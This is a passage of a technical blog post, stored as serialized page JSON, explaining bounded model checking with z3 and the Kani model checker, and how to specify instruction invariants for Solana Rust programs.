P:\n",{"type":21,"tag":153,"props":21930,"children":21931},{"class":155,"line":795},[21932,21937,21942,21946,21951],{"type":21,"tag":153,"props":21933,"children":21934},{"style":181},[21935],{"type":26,"value":21936},"    assert",{"type":21,"tag":153,"props":21938,"children":21939},{"style":160},[21940],{"type":26,"value":21941},"(z ",{"type":21,"tag":153,"props":21943,"children":21944},{"style":198},[21945],{"type":26,"value":18385},{"type":21,"tag":153,"props":21947,"children":21948},{"style":300},[21949],{"type":26,"value":21950}," 105",{"type":21,"tag":153,"props":21952,"children":21953},{"style":160},[21954],{"type":26,"value":530},{"type":21,"tag":153,"props":21956,"children":21957},{"class":155,"line":808},[21958],{"type":21,"tag":153,"props":21959,"children":21960},{"style":160},[21961],{"type":26,"value":548},{"type":21,"tag":22,"props":21963,"children":21964},{},[21965,21967,21973,21975,21981],{"type":26,"value":21966},"This function takes an input ",{"type":21,"tag":78,"props":21968,"children":21970},{"className":21969},[],[21971],{"type":26,"value":21972},"x",{"type":26,"value":21974}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":21,"tag":78,"props":21976,"children":21978},{"className":21977},[],[21979],{"type":26,"value":21980},"z != 105",{"type":26,"value":355},{"type":21,"tag":22,"props":21983,"children":21984},{},[21985],{"type":26,"value":21986},"With BMC, we could trace this program and derive the following constraints:",{"type":21,"tag":22,"props":21988,"children":21989},{},[21990],{"type":26,"value":21991},"Positive branch:",{"type":21,"tag":143,"props":21993,"children":21995},{"code":21994,"language":5896,"meta":7,"className":19212,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[21996],{"type":21,"tag":78,"props":21997,"children":21998},{"__ignoreMap":7},[21999,22024,22040],{"type":21,"tag":153,"props":22000,"children":22001},{"class":155,"line":156},[22002,22007,22011,22015,22019],{"type":21,"tag":153,"props":22003,"children":22004},{"style":160},[22005],{"type":26,"value":22006},"y ",{"type":21,"tag":153,"props":22008,"children":22009},{"style":198},[22010],{"type":26,"value":1694},{"type":21,"tag":153,"props":22012,"children":22013},{"style":160},[22014],{"type":26,"value":21786},{"type":21,"tag":153,"props":22016,"children":22017},{"style":198},[22018],{"type":26,"value":4099},{"type":21,"tag":153,"props":22020,"children":22021},{"style":300},[22022],{"type":26,"value":22023}," 3\n",{"type":21,"tag":153,"props":22025,"children":22026},{"class":155,"line":166},[22027,22031,22035],{"type":21,"tag":153,"props":22028,"children":22029},{"style":160},[22030],{"type":26,"value":22006},{"type":21,"tag":153,"props":22032,"children":22033},{"style":198},[22034],{"type":26,"value":13182},{"type":21,"tag":153,"props":22036,"children":22037},{"style":300},[22038],{"type":26,"value":22039}," 100\n",{"type":21,"tag":153,"props":22041,"children":22042},{"class":155,"line":225},[22043,22048,22052,22056,22060],{"type":21,"tag":153,"props":22044,"children":22045},{"style":160},[22046],{"type":26,"value":22047},"z ",{"type":21,"tag":153,"props":22049,"children":22050},{"style":198},[22051],{"type":26,"value":1694},{"type":21,"tag":153,"props":22053,"children":22054},{"style":160},[22055],{"type":26,"value":7244},{"type":21,"tag":153,"props":22057,"children":22058},{"style":198},[22059],{"type":26,"value":313},{"type":21,"tag":153,"props":22061,"children":22062},{"style":300},[22063],{"type":26,"value":22064}," 2\n",{"type":21,"tag":22,"props":22066,"children":22067},{},[22068],{"type":26,"value":22069},"Negative branch:",{"type":21,"tag":143,"props":22071,"children":22073},{"code":22072,"language":5896,"meta":7,"className":19212,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[22074],{"type":21,"tag":78,"props":22075,"children":22076},{"__ignoreMap":7},[22077,22100,22116],{"type":21,"tag":153,"props":22078,"children":22079},{"class":155,"line":156},[22080,22084,22088,22092,22096],{"type":21,"tag":153,"props":22081,"children":22082},{"style":160},[22083],{"type":26,"value":22006},{"type":21,"tag":153,"props":22085,"children":22086},{"style":198},[22087],{"type":26,"value":1694},{"type":21,"tag":153,"props":22089,"children":22090},{"style":160},[22091],{"type":26,"value":21786},{"type":21,"tag":153,"props":22093,"children":22094},{"style":198},[22095],{"type":26,"value":4099},{"type":21,"tag":153,"props":22097,"children":22098},{"style":300},[22099],{"type":26,"value":22023},{"type":21,"tag":153,"props":22101,"children":22102},{"class":155,"line":166},[22103,22107,22112],{"type":21,"tag":153,"props":22104,"children":22105},{"style":160},[22106],{"type":26,"value":22006},{"type":21,"tag":153,"props":22108,"children":22109},{"style":198},[22110],{"type":26,"value":22111},"\u003C=",{"type":21,"tag":153,"props":22113,"children":22114},{"style":300},[22115],{"type":26,"value":22039},{"type":21,"tag":153,"props":22117,"children":22118},{"class":155,"line":225},[22119,22123,22127,22131,22135],{"type":21,"tag":153,"props":22120,"children":22121},{"style":160},[22122],{"type":26,"value":22047},{"type":21,"tag":153,"props":22124,"children":22125},{"style":198},[22126],{"type":26,"value":1694},{"type":21,"tag":153,"props":22128,"children":22129},{"style":160},[22130],{"type":26,"value":7244},{"type":21,"tag":153,"props":22132,"children":22133},{"style":198},[22134],{"type":26,"value":4099},{"type":21,"tag":153,"props":22136,"children":22137},{"style":300},[22138],{"type":26,"value":22139}," 1\n",{"type":21,"tag":22,"props":22141,"children":22142},{},[22143,22145,22152],{"type":26,"value":22144},"Using the ",{"type":21,"tag":29,"props":22146,"children":22149},{"href":22147,"rel":22148},"https://github.com/Z3Prover/z3",[33],[22150],{"type":26,"value":22151},"z3",{"type":26,"value":22153}," SMT solver, we could check both of these cases like so:",{"type":21,"tag":143,"props":22155,"children":22159},{"code":22156,"language":22157,"meta":7,"className":22158,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[22160],{"type":21,"tag":78,"props":22161,"children":22162},{"__ignoreMap":7},[22163,22186,22193,22219,22243,22267,22274,22282,22299,22327,22346,22374,22381,22389,22409,22427,22434,22442,22457,22484,22503,22530,22537,22544,22563],{"type":21,"tag":153,"props":22164,"children":22165},{"class":155,"line":156},[22166,22171,22176,22181],{"type":21,"tag":153,"props":22167,"children":22168},{"style":1751},[22169],{"type":26,"value":22170},"from",{"type":21,"tag":153,"props":22172,"children":22173},{"style":160},[22174],{"type":26,"value":22175}," z3 ",{"type":21,"tag":153,"props":22177,"children":22178},{"style":1751},[22179],{"type":26,"value":22180},"import",{"type":21,"tag":153,"props":22182,"children":22183},{"style":198},[22184],{"type":26,"value":22185}," *\n",{"type":21,"tag":153,"props":22187,"children":22188},{"class":155,"line":166},[22189],{"type":21,"tag":153,"props":22190,"children":22191},{"emptyLinePlaceholder":16},[22192],{"type":26,"value":759},{"type":21,"tag":153,"props":22194,"children":22195},{"class":155,"line":225},[22196,22201,22205,22210,22215],{"type":21,"tag":153,"props":22197,"children":22198},{"style":160},[22199],{"type":26,"value":22200},"x ",{"type":21,"tag":153,"props":22202,"children":22203},{"style":198},[22204],{"type":26,"value":2367},{"type":21,"tag":153,"props":22206,"children":22207},{"style":160},[22208],{"type":26,"value":22209}," Int(",{"type":21,"tag":153,"props":22211,"children":22212},{"style":671},[22213],{"type":26,"value":22214},"'x'",{"type":21,"tag":153,"props":22216,"children":22217},{"style":160},[22218],{"type":26,"value":5909},{"type":21,"tag":153,"props":22220,"children":22221},{"class":155,"line":239},[22222,22226,22230,22234,22239],{"type":21,"tag":153,"props":22223,"children":22224},{"style":160},[22225],{"type":26,"value":22006},{"type":21,"tag":153,"props":22227,"children":22228},{"style":198},[22229],{"type":26,"value":2367},{"type":21,"tag":153,"props":22231,"children":22232},{"style":160},[22233],{"type":26,"value":22209},{"type":21,"tag":153,"props":22235,"children":22236},{"style":671},[22237],{"type":26,"value":22238},"'y'",{"type":21,"tag":153,"props":22240,"children":22241},{"style":160},[22242],{"type":26,"value":5909},{"type":21,"tag":153,"props":22244,"children":22245},{"class":155,"line":382},[22246,22250,22254,22258,22263],{"type":21,"tag":153,"props":22247,"children":22248},{"style":160},[22249],{"type":26,"value":22047},{"type":21,"tag":153,"props":22251,"children":22252},{"style":198},[22253],{"type":26,"value":2367},{"type":21,"tag":153,"props":22255,"children":22256},{"style":160},[22257],{"type":26,"value":22209},{"type":21,"tag":153,"props":22259,"children":22260},{"style":671},[22261],{"type":26,"value":22262},"'z'",{"type":21,"tag":153,"props":22264,"children":22265},{"style":160},[22266],{"type":26,"value":5909},{"type":21,"tag":153,"props":22268,"children":22269},{"class":155,"line":501},[22270],{"type":21,"tag":153,"props":22271,"children":22272},{"emptyLinePlaceholder":16},[22273],{"type":26,"value":759},{"type":21,"tag":153,"props":22275,"children":22276},{"class":155,"line":533},[22277],{"type":21,"tag":153,"props":22278,"children":22279},{"style":3050},[22280],{"type":26,"value":22281},"# Positive branch:\n",{"type":21,"tag":153,"props":22283,"children":22284},{"class":155,"line":542},[22285,22290,22294],{"type":21,"tag":153,"props":22286,"children":22287},{"style":160},[22288],{"type":26,"value":22289},"s ",{"type":21,"tag":153,"props":22291,"children":22292},{"style":198},[22293],{"type":26,"value":2367},{"type":21,"tag":153,"props":22295,"children":22296},{"style":160},[22297],{"type":26,"value":22298}," Solver()\n",{"type":21,"tag":153,"props":22300,"children":22301},{"class":155,"line":762},[22302,22307,22311,22315,22319,22323],{"type":21,"tag":153,"props":22303,"children":22304},{"style":160},[22305],{"type":26,"value":22306},"s.add(y ",{"type":21,"tag":153,"props":22308,"children":22309},{"style":198},[22310],{"type":26,"value":1694},{"type":21,"tag":153,"props":22312,"children":22313},{"style":160},[22314],{"type":26,"value":21786},{"type":21,"tag":153,"props":22316,"children":22317},{"style":198},[22318],{"type":26,"value":4099},{"type":21,"tag":153,"props":22320,"children":22321},{"style":300},[22322],{"type":26,"value":21795},{"type":21,"tag":153,"props":22324,"children":22325},{"style":160},[22326],{"type":26,"value":5909},{"type":21,"tag":153,"props":22328,"children":22329},{"class":155,"line":776},[22330,22334,22338,22342],{"type":21,"tag":153,"props":22331,"children":22332},{"style":160},[22333],{"type":26,"value":22306},{"type":21,"tag":153,"props":22335,"children":22336},{"style":198},[22337],{"type":26,"value":13182},{"type":21,"tag":153,"props":22339,"children":22340},{"style":300},[22341],{"type":26,"value":21832},{"type":21,"tag":153,"props":22343,"children":22344},{"style":160},[22345],{"type":26,"value":5909},{"type":21,"tag":153,"props":22347,"children":22348},{"class":155,"line":795},[22349,22354,22358,22362,22366,22370],{"type":21,"tag":153,"props":22350,"children":22351},{"style":160},[22352],{"type":26,"value":22353},"s.add(z ",{"type":21,"tag":153,"props":22355,"children":22356},{"style":198},[22357],{"type":26,"value":1694},{"type":21,"tag":153,"props":22359,"children":22360},{"style":160},[22361],{"type":26,"value":7244},{"type":21,"tag":153,"props":22363,"children":22364},{"style":198},[22365],{"type":26,"value":313},{"type":21,"tag":153,"props":22367,"children":22368},{"style":300},[22369],{"type":26,"value":10661},{"type":21,"tag":153,"props":22371,"children":22372},{"style":160},[22373],{"type":26,"value":5909},{"type":21,"tag":153,"props":22375,"children":22376},{"class":155,"line":808},[22377],{"type":21,"tag":153,"props":22378,"children":22379},{"emptyLinePlaceholder":16},[22380],{"type":26,"value":759},{"type":21,"tag":153,"props":22382,"children":22383},{"class":155,"line":820},[22384],{"type":21,"tag":153,"props":22385,"children":22386},{"style":3050},[22387],{"type":26,"value":22388},"# check if we can violate the correctness property\n",{"type":21,"tag":153,"props":22390,"children":22391},{"class":155,"line":842},[22392,22397,22401,22405],{"type":21,"tag":153,"props":22393,"children":22394},{"style":160},[22395],{"type":26,"value":22396},"s.add(Not(z ",{"type":21,"tag":153,"props":22398,"children":22399},{"style":198},[22400],{"type":26,"value":18385},{"type":21,"tag":153,"props":22402,"children":22403},{"style":300},[22404],{"type":26,"value":21950},{"type":21,"tag":153,"props":22406,"children":22407},{"style":160},[22408],{"type":26,"value":2006},{"type":21,"tag":153,"props":22410,"children":22411},{"class":155,"line":3204},[22412,22417,22422],{"type":21,"tag":153,"props":22413,"children":22414},{"style":181},[22415],{"type":26,"value":22416},"print",{"type":21,"tag":153,"props":22418,"children":22419},{"style":160},[22420],{"type":26,"value":22421},"(s.check()) ",{"type":21,"tag":153,"props":22423,"children":22424},{"style":3050},[22425],{"type":26,"value":22426},"# \"unsat\"\n",{"type":21,"tag":153,"props":22428,"children":22429},{"class":155,"line":3230},[22430],{"type":21,"tag":153,"props":22431,"children":22432},{"emptyLinePlaceholder":16},[22433],{"type":26,"value":759},{"type":21,"tag":153,"props":22435,"children":22436},{"class":155,"line":3239},[22437],{"type":21,"tag":153,"props":22438,"children":22439},{"style":3050},[22440],{"type":26,"value":22441},"# Negative branch:\n",{"type":21,"tag":153,"props":22443,"children":22444},{"class":155,"line":3253},[22445,22449,22453],{"type":21,"tag":153,"props":22446,"children":22447},{"style":160},[22448],{"type":26,"value":22289},{"type":21,"tag":153,"props":22450,"children":22451},{"style":198},[22452],{"type":26,"value":2367},{"type":21,"tag":153,"props":22454,"children":22455},{"style":160},[22456],{"type":26,"value":22298},{"type":21,"tag":153,"props":22458,"children":22459},{"class":155,"line":3301},[22460,22464,22468,22472,22476,22480],{"type":21,"tag":153,"props":22461,"children":22462},{"style":160},[22463],{"type":26,"value":22306},{"type":21,"tag":153,"props":22465,"children":22466},{"style":198},[22467],{"type":26,"value":1694},{"type":21,"tag":153,"props":22469,"children":22470},{"style":160},[22471],{"type":26,"value":21786},{"type":21,"tag":153,"props":22473,"children":22474},{"style":198},[22475],{"type":26,"value":4099},{"type":21,"tag":153,"props":22477,"children":22478},{"style":300},[22479],{"type":26,"value":21795},{"type":21,"tag":153,"props":22481,"children":22482},{"style":160},[22483],{"type":26,"value":5909},{"type":21,"tag":153,"props":22485,"children":22486},{"class":155,"line":3346},[22487,22491,22495,22499],{"type":21,"tag":153,"props":22488,"children":22489},{"style":160},[22490],{"type":26,"value":22306},{"type":21,"tag":153,"props":22492,"children":22493},{"style":198},[22494],{"type":26,"value":22111},{"type":21,"tag":153,"props":22496,"children":22497},{"style":300},[22498],{"type":26,"value":21832},{"type":21,"tag":153,"props":22500,"children":22501},{"style":160},[22502],{"type":26,"value":5909},{"type":21,"tag":153,"props":22504,"children":22505},{"class":155,"line":3355},[22506,22510,22514,22518,22522,22526],{"type":21,"tag":153,"props":22507,"children":22508},{"style":160},[22509],{"type":26,"value":22353},{"type":21,"tag":153,"props":22511,"children":22512},{"style":198},[22513],{"type":26,"value":1694},{"type":21,"tag":153,"props":22515,"children":22516},{"style":160},[22517],{"type":26,"value":7244},{"type":21,"tag":153,"props":22519,"children":22520},{"style":198},[22521],{"type":26,"value":4099},{"type":21,"tag":153,"props":22523,"children":22524},{"style":300},[22525],{"type":26,"value":7253},{"type":21,"tag":153,"props":22527,"children":22528},{"style":160},[22529],{"type":26,"value":5909},{"type":21,"tag":153,"props":22531,"children":22532},{"class":155,"line":3364},[22533],{"type":21,"tag":153,"props":22534,"children":22535},{"emptyLinePlaceholder":16},[22536],{"type":26,"value":759},{"type":21,"tag":153,"props":22538,"children":22539},{"class":155,"line":3376},[22540],{"type":21,"tag":153,"props":22541,"children":22542},{"style":3050},[22543],{"type":26,"value":22388},{"type":21,"tag":153,"props":22545,"children":22546},{"class":155,"line":3393},[22547,22551,22555,22559],{"type":21,"tag":153,"props":22548,"children":22549},{"style":160},[22550],{"type":26,"value":22396},{"type":21,"tag":153,"props":22552,"children":22553},{"style":198},[22554],{"type":26,"value":18385},{"type":21,"tag":153,"props":22556,"children":22557},{"style":300},[22558],{"type":26,"value":21950},{"type":21,"tag":153,"props":22560,"children":22561},{"style":160},[22562],{"type":26,"value":2006},{"type":21,"tag":153,"props":22564,"children":22565},{"class":155,"line":3405},[22566,22570,22574],{"type":21,"tag":153,"props":22567,"children":22568},{"style":181},[22569],{"type":26,"value":22416},{"type":21,"tag":153,"props":22571,"children":22572},{"style":160},[22573],{"type":26,"value":22421},{"type":21,"tag":153,"props":22575,"children":22576},{"style":3050},[22577],{"type":26,"value":22426},{"type":21,"tag":22,"props":22579,"children":22580},{},[22581,22583,22589,22591,22596],{"type":26,"value":22582},"Both of these cases return ",{"type":21,"tag":78,"props":22584,"children":22586},{"className":22585},[],[22587],{"type":26,"value":22588},"unsat",{"type":26,"value":22590}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":21,"tag":5302,"props":22592,"children":22593},{},[22594],{"type":26,"value":22595},"correct",{"type":26,"value":22597}," according to this property.",{"type":21,"tag":114,"props":22599,"children":22601},{"id":22600},"loop-bounds-path-explosion",[22602],{"type":26,"value":22603},"Loop bounds & path explosion",{"type":21,"tag":22,"props":22605,"children":22606},{},[22607,22609,22614,22616,22621],{"type":26,"value":22608},"As you may have noticed, BMC requires us to take ",{"type":21,"tag":5302,"props":22610,"children":22611},{},[22612],{"type":26,"value":22613},"every",{"type":26,"value":22615}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":21,"tag":5302,"props":22617,"children":22618},{},[22619],{"type":26,"value":22620},"infinite",{"type":26,"value":22622}," number of paths because the loop branches backward. This might take a while...",{"type":21,"tag":22,"props":22624,"children":22625},{},[22626],{"type":26,"value":22627},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":21,"tag":22,"props":22629,"children":22630},{},[22631],{"type":26,"value":22632},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":21,"tag":22,"props":22634,"children":22635},{},[22636],{"type":26,"value":22637},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":21,"tag":114,"props":22639,"children":22641},{"id":22640},"kani-model-checker",[22642],{"type":26,"value":22643},"Kani Model Checker",{"type":21,"tag":22,"props":22645,"children":22646},{},[22647,22649,22654],{"type":26,"value":22648},"For our research with formally verifying Solana programs, we are using the ",{"type":21,"tag":29,"props":22650,"children":22652},{"href":21545,"rel":22651},[33],[22653],{"type":26,"value":21549},{"type":26,"value":22655},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":21,"tag":22,"props":22657,"children":22658},{},[22659,22661,22666,22668,22674,22675,22681,22683,22689],{"type":26,"value":22660},"Kani allows you to write ",{"type":21,"tag":5302,"props":22662,"children":22663},{},[22664],{"type":26,"value":22665},"proof harnesses",{"type":26,"value":22667}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":21,"tag":78,"props":22669,"children":22671},{"className":22670},[],[22672],{"type":26,"value":22673},"assume",{"type":26,"value":52},{"type":21,"tag":78,"props":22676,"children":22678},{"className":22677},[],[22679],{"type":26,"value":22680},"assert",{"type":26,"value":22682}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":21,"tag":78,"props":22684,"children":22686},{"className":22685},[],[22687],{"type":26,"value":22688},"cargo kani",{"type":26,"value":22690}," tool (which compiles your proof harness and runs BMC).",{"type":21,"tag":66,"props":22692,"children":22694},{"id":22693},"specification-how-can-we-describe-what-we-want-our-program-to-do",[22695,22697,22701],{"type":26,"value":22696},"Specification: How can we describe what we ",{"type":21,"tag":5302,"props":22698,"children":22699},{},[22700],{"type":26,"value":21619},{"type":26,"value":21621},{"type":21,"tag":22,"props":22703,"children":22704},{},[22705],{"type":21,"tag":5302,"props":22706,"children":22707},{},[22708],{"type":21,"tag":8055,"props":22709,"children":22710},{},[22711],{"type":26,"value":22712},"And what even do we want it to do?",{"type":21,"tag":22,"props":22714,"children":22715},{},[22716,22718,22723],{"type":26,"value":22717},"A fundamental challenge with any formal verification framework is ",{"type":21,"tag":5302,"props":22719,"children":22720},{},[22721],{"type":26,"value":22722},"specifying",{"type":26,"value":22724}," what the \"correct\" behavior should be.",{"type":21,"tag":22,"props":22726,"children":22727},{},[22728],{"type":26,"value":22729},"In natural language, we can describe a few good properties for example Solana programs:",{"type":21,"tag":87,"props":22731,"children":22732},{},[22733,22745,22757],{"type":21,"tag":91,"props":22734,"children":22735},{},[22736,22738,22743],{"type":26,"value":22737},"\"It should not be possible to ",{"type":21,"tag":8055,"props":22739,"children":22740},{},[22741],{"type":26,"value":22742},"steal money",{"type":26,"value":22744}," via a swap program\"",{"type":21,"tag":91,"props":22746,"children":22747},{},[22748,22750,22755],{"type":26,"value":22749},"\"A multisig should never get into a state where you ",{"type":21,"tag":8055,"props":22751,"children":22752},{},[22753],{"type":26,"value":22754},"can't sign anything",{"type":26,"value":22756},"\"",{"type":21,"tag":91,"props":22758,"children":22759},{},[22760],{"type":26,"value":22761},"\"User funds in a staking protocol \"",{"type":21,"tag":22,"props":22763,"children":22764},{},[22765,22767,22777,22779,22784],{"type":26,"value":22766},"These are types of properties you can tell your ",{"type":21,"tag":29,"props":22768,"children":22771},{"href":22769,"rel":22770},"https://osec.io/",[33],[22772],{"type":21,"tag":5302,"props":22773,"children":22774},{},[22775],{"type":26,"value":22776},"human auditors",{"type":26,"value":22778}," but these English phrases are not particularly useful for ",{"type":21,"tag":5302,"props":22780,"children":22781},{},[22782],{"type":26,"value":22783},"automated verification techniques",{"type":26,"value":22785}," (at least until our AI overlords surpass human intelligence).",{"type":21,"tag":22,"props":22787,"children":22788},{},[22789,22791,22796,22798,22803],{"type":26,"value":22790},"Instead, we need to be able to specify ",{"type":21,"tag":5302,"props":22792,"children":22793},{},[22794],{"type":26,"value":22795},"in code",{"type":26,"value":22797}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":21,"tag":78,"props":22799,"children":22801},{"className":22800},[],[22802],{"type":26,"value":22680},{"type":26,"value":22804}," statement.",{"type":21,"tag":114,"props":22806,"children":22808},{"id":22807},"solana-invariants",[22809],{"type":26,"value":22810},"Solana Invariants",{"type":21,"tag":22,"props":22812,"children":22813},{},[22814,22816,22821,22822,22827],{"type":26,"value":22815},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":21,"tag":8055,"props":22817,"children":22818},{},[22819],{"type":26,"value":22820},"instruction invariants",{"type":26,"value":52},{"type":21,"tag":8055,"props":22823,"children":22824},{},[22825],{"type":26,"value":22826},"account invariants",{"type":26,"value":355},{"type":21,"tag":21591,"props":22829,"children":22831},{"id":22830},"instruction-invariant",[22832],{"type":26,"value":22833},"Instruction Invariant",{"type":21,"tag":22,"props":22835,"children":22836},{},[22837,22839,22844,22846,22852,22853,22859],{"type":26,"value":22838},"An ",{"type":21,"tag":8055,"props":22840,"children":22841},{},[22842],{"type":26,"value":22843},"instruction invariant",{"type":26,"value":22845}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":21,"tag":78,"props":22847,"children":22849},{"className":22848},[],[22850],{"type":26,"value":22851},"succeeds_if",{"type":26,"value":15851},{"type":21,"tag":78,"props":22854,"children":22856},{"className":22855},[],[22857],{"type":26,"value":22858},"errors_if",{"type":26,"value":22860}," macro annotations on the instruction handler.",{"type":21,"tag":22,"props":22862,"children":22863},{},[22864],{"type":26,"value":22865},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":21,"tag":22,"props":22867,"children":22868},{},[22869,22871,22877,22879,22884],{"type":26,"value":22870},"For example, say we have a ",{"type":21,"tag":78,"props":22872,"children":22874},{"className":22873},[],[22875],{"type":26,"value":22876},"Withdraw",{"type":26,"value":22878}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":21,"tag":5302,"props":22880,"children":22881},{},[22882],{"type":26,"value":22883},"more",{"type":26,"value":22885}," tokens than their current balance.",{"type":21,"tag":22,"props":22887,"children":22888},{},[22889,22891,22896],{"type":26,"value":22890},"Using our tool, you could specify the following ",{"type":21,"tag":78,"props":22892,"children":22894},{"className":22893},[],[22895],{"type":26,"value":22858},{"type":26,"value":22897}," property on your instruction handler:",{"type":21,"tag":143,"props":22899,"children":22901},{"code":22900,"language":147,"meta":7,"className":145,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[22902],{"type":21,"tag":78,"props":22903,"children":22904},{"__ignoreMap":7},[22905,22913,22947,22955,23026,23034],{"type":21,"tag":153,"props":22906,"children":22907},{"class":155,"line":156},[22908],{"type":21,"tag":153,"props":22909,"children":22910},{"style":160},[22911],{"type":26,"value":22912},"#[errors_if(\n",{"type":21,"tag":153,"props":22914,"children":22915},{"class":155,"line":166},[22916,22921,22925,22929,22933,22938,22942],{"type":21,"tag":153,"props":22917,"children":22918},{"style":160},[22919],{"type":26,"value":22920},"    ctx",{"type":21,"tag":153,"props":22922,"children":22923},{"style":198},[22924],{"type":26,"value":355},{"type":21,"tag":153,"props":22926,"children":22927},{"style":160},[22928],{"type":26,"value":1992},{"type":21,"tag":153,"props":22930,"children":22931},{"style":198},[22932],{"type":26,"value":355},{"type":21,"tag":153,"props":22934,"children":22935},{"style":160},[22936],{"type":26,"value":22937},"balance ",{"type":21,"tag":153,"props":22939,"children":22940},{"style":198},[22941],{"type":26,"value":8537},{"type":21,"tag":153,"props":22943,"children":22944},{"style":160},[22945],{"type":26,"value":22946}," amount\n",{"type":21,"tag":153,"props":22948,"children":22949},{"class":155,"line":225},[22950],{"type":21,"tag":153,"props":22951,"children":22952},{"style":160},[22953],{"type":26,"value":22954},")]\n",{"type":21,"tag":153,"props":22956,"children":22957},{"class":155,"line":239},[22958,22962,22967,22971,22975,22979,22984,22988,22992,22996,23001,23005,23009,23013,23017,23021],{"type":21,"tag":153,"props":22959,"children":22960},{"style":170},[22961],{"type":26,"value":1000},{"type":21,"tag":153,"props":22963,"children":22964},{"style":181},[22965],{"type":26,"value":22966}," withdraw",{"type":21,"tag":153,"props":22968,"children":22969},{"style":160},[22970],{"type":26,"value":189},{"type":21,"tag":153,"props":22972,"children":22973},{"style":192},[22974],{"type":26,"value":1882},{"type":21,"tag":153,"props":22976,"children":22977},{"style":198},[22978],{"type":26,"value":201},{"type":21,"tag":153,"props":22980,"children":22981},{"style":214},[22982],{"type":26,"value":22983}," Context",{"type":21,"tag":153,"props":22985,"children":22986},{"style":160},[22987],{"type":26,"value":8537},{"type":21,"tag":153,"props":22989,"children":22990},{"style":214},[22991],{"type":26,"value":22876},{"type":21,"tag":153,"props":22993,"children":22994},{"style":160},[22995],{"type":26,"value":9360},{"type":21,"tag":153,"props":22997,"children":22998},{"style":192},[22999],{"type":26,"value":23000},"amount",{"type":21,"tag":153,"props":23002,"children":23003},{"style":198},[23004],{"type":26,"value":201},{"type":21,"tag":153,"props":23006,"children":23007},{"style":214},[23008],{"type":26,"value":323},{"type":21,"tag":153,"props":23010,"children":23011},{"style":160},[23012],{"type":26,"value":2362},{"type":21,"tag":153,"props":23014,"children":23015},{"style":198},[23016],{"type":26,"value":2953},{"type":21,"tag":153,"props":23018,"children":23019},{"style":214},[23020],{"type":26,"value":16475},{"type":21,"tag":153,"props":23022,"children":23023},{"style":160},[23024],{"type":26,"value":23025},"\u003C()> {\n",{"type":21,"tag":153,"props":23027,"children":23028},{"class":155,"line":382},[23029],{"type":21,"tag":153,"props":23030,"children":23031},{"style":198},[23032],{"type":26,"value":23033},"    ...\n",{"type":21,"tag":153,"props":23035,"children":23036},{"class":155,"line":501},[23037],{"type":21,"tag":153,"props":23038,"children":23039},{"style":160},[23040],{"type":26,"value":548},{"type":21,"tag":5689,"props":23042,"children":23043},{},[23044],{"type":21,"tag":22,"props":23045,"children":23046},{},[23047,23048,23053,23055,23060,23062,23067],{"type":26,"value":19311},{"type":21,"tag":78,"props":23049,"children":23051},{"className":23050},[],[23052],{"type":26,"value":22858},{"type":26,"value":23054}," expression specifies ",{"type":21,"tag":5302,"props":23056,"children":23057},{},[23058],{"type":26,"value":23059},"succifient",{"type":26,"value":23061}," but not ",{"type":21,"tag":5302,"props":23063,"children":23064},{},[23065],{"type":26,"value":23066},"necessary",{"type":26,"value":23068}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":21,"tag":21491,"props":23070,"children":23071},{},[],{"type":21,"tag":22,"props":23073,"children":23074},{},[23075,23077,23082],{"type":26,"value":23076},"Another example is that for ",{"type":21,"tag":5302,"props":23078,"children":23079},{},[23080],{"type":26,"value":23081},"crank",{"type":26,"value":23083}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":21,"tag":143,"props":23085,"children":23087},{"code":23086,"language":147,"meta":7,"className":145,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[23088],{"type":21,"tag":78,"props":23089,"children":23090},{"__ignoreMap":7},[23091,23099,23153,23160],{"type":21,"tag":153,"props":23092,"children":23093},{"class":155,"line":156},[23094],{"type":21,"tag":153,"props":23095,"children":23096},{"style":160},[23097],{"type":26,"value":23098},"#[succeeds_if(true)]\n",{"type":21,"tag":153,"props":23100,"children":23101},{"class":155,"line":166},[23102,23106,23111,23115,23119,23123,23127,23131,23136,23141,23145,23149],{"type":21,"tag":153,"props":23103,"children":23104},{"style":170},[23105],{"type":26,"value":1000},{"type":21,"tag":153,"props":23107,"children":23108},{"style":181},[23109],{"type":26,"value":23110}," 